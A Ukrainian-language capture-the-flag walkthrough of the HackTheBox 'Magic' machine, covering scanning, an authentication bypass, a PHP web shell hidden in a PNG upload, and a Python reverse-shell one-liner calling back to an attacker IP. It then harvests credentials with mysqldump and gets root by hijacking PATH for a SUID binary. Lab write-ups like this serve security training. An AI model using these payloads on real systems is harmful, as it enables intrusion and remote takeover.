Платформа HackTheBox пропонує чудову можливість для розвитку навичок у сфері кібербезпеки. Одним із популярних завдань є Magic, яке дозволяє пентестерам випробувати свої здібності у дослідженні вразливостей веб-додатків, підборі паролів, експлуатації сервісів та підвищенні привілеїв до рівня адміністратора. У цій статті ми розглянемо всі етапи роботи з Magic, починаючи від збору інформації та сканування портів за допомогою nmap і masscan, до створення експлойтів і підвищення привілеїв.
У статті розглядається використання шелу, інтегрованого у файл зображення, пошук облікових даних через mysqldump та підвищення привілеїв за допомогою sysinfo.
Підключення до лабораторії здійснюється через VPN. З міркувань безпеки не рекомендується використовувати робочий комп’ютер або пристрій, на якому зберігаються важливі дані, оскільки під час роботи відбувається підключення до приватної мережі, де присутні користувачі з високим рівнем знань у сфері кібербезпеки.
Ця машина має IP адресу 10.10.10.185, яку додаємо в /etc/hosts.
10.10.10.185 magic.htb
Спершу виконується сканування відкритих портів. Для пришвидшення процесу замість nmap спочатку використовується masscan. Цей інструмент сканує всі TCP та UDP порти через інтерфейс tun0 зі швидкістю 500 пакетів на секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.185 --rate=500
Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.
nmap -A magic.htb -p22,80
На хості відкрито 2 порти: 22 – служба SSH, і 80 – веб-сервер. Як завжди, дивимося Інтернет.
Помічаємо посилання на сторінку авторизації. Насамперед пробуємо один спосіб обходу авторизації, і знаходимо вірний.
На сторінці виявляється форма завантаження зображень. Для експлуатації уразливості додається PHP-код у файл. Перші чотири байти зображення залишаються незмінними, а до них дописується потрібний код. Файл зберігається з подвійним розширенням, оскільки сервер під час завантаження перевіряє лише останнє розширення, а під час виконання — перше.
python -c "print('\x89\x50\x4e\x47' + '<?php echo system($_GET[\'cmd\']); ?>')" > 1.php.png
Однак сервер виявляє спробу експлуатації, і завантаження завершується невдачею.
Спробуємо обхитрити, і сховаємо код у коментарі.
Попри це, після спроби завантаження сервер повідомляє про успішне завершення процесу.
Файл завантажується, але залишається питання, куди саме. Для пошуку розміщення файлу проводиться перевірка директорій. Оскільки сайт має просту структуру, а часу було достатньо, використання gobuster і великих словників не знадобилося. Замість цього запускається dirb для перегляду доступних директорій.
Швидше за все ми знайшли директорію, куди завантажуються файли. Тепер звернемося до нашого файлу, і як параметр передамо команду ls.
І вона виконана!
Кидаємо реверс шелл як параметр.
http://10.10.10.185/images/uploads/me.php.jpg?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.60",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
І отримуємо бекконект на 4321 порт.
В робочій директорії знаходимо файл для роботи з базою даних.
В цьому файлі знаходимо пароль користувача.
При цьому виявляється, що знайдений користувач існує в системі. Однак спроба змінити користувача завершується невдачею.
Успішно вдалося використати mysqldump. Під час підключення за допомогою цього інструмента вдається знайти пароль.
mysqldump -u theseus -p iamkingtheseus Magic
Тепер вдало змінюємо користувача і отримуємо прапор користувача.
ssh-keygen
. Публічний ключ було записано у файл ~/.ssh/authorized_keys
, після чого за допомогою приватного ключа виконано підключення по SSH. Далі на віддалений хост завантажується утиліта LinPEAS, яка запускається для повного аудиту системи. Після аналізу отриманого висновку увагу привернули файли з установленим бітом SUID, які дозволяють виконувати команди від імені root.Було виявлено програму sysinfo
. Пошук інформації про неї не дав результатів щодо можливості виконання команд. Тоді виникла ідея перевірити, чи використовує sysinfo
інші програми, які потенційно можна підмінити. Для цього програму було запущено під ltrace
для відстеження викликів бібліотечних функцій і залежностей.
Таким чином, sysinfo запускає програми lshw, fdisk та cat. Докладніше про вектор LPE. В операційній системі є змінна оточення PATH, яка зберігає шляхи.
Коли викликається команда, наприклад, ls
або cd
, система послідовно шукає відповідні файли в каталогах, зазначених у змінній PATH
. Якщо на початку PATH
додати власний каталог і розмістити там змінену версію команди (наприклад, ls
або cat
), то буде виконана саме ця програма.
Цей принцип вирішено перевірити на команді fdisk
. Замість того, щоб запускати реверс-шел, було вирішено створити скрипт, який скопіює SSH-ключ користувача root у відповідний файл для авторизації. Це дозволить підключитися до root-акаунта через SSH так само, як до звичайного користувача.
Наприклад викличемо fdisk. Як можна спостерігати, викликаний легітимний fdisk.
Додаємо шлях у змінну оточення PATH.
Тепер система шукатиме fdisk спочатку в /tmp/123.
Запустимо sysinfo.
У результаті виконання виявляється помилка через відсутність директорії .ssh
у root. Скрипт було модифіковано, щоб він спочатку створював необхідну директорію, а потім копіював SSH-ключ. Після повторного виконання sysinfo
помилок у роботі fdisk
не спостерігається.
Далі здійснюється підключення через SSH під обліковим записом root, після чого отримується фінальний прапор.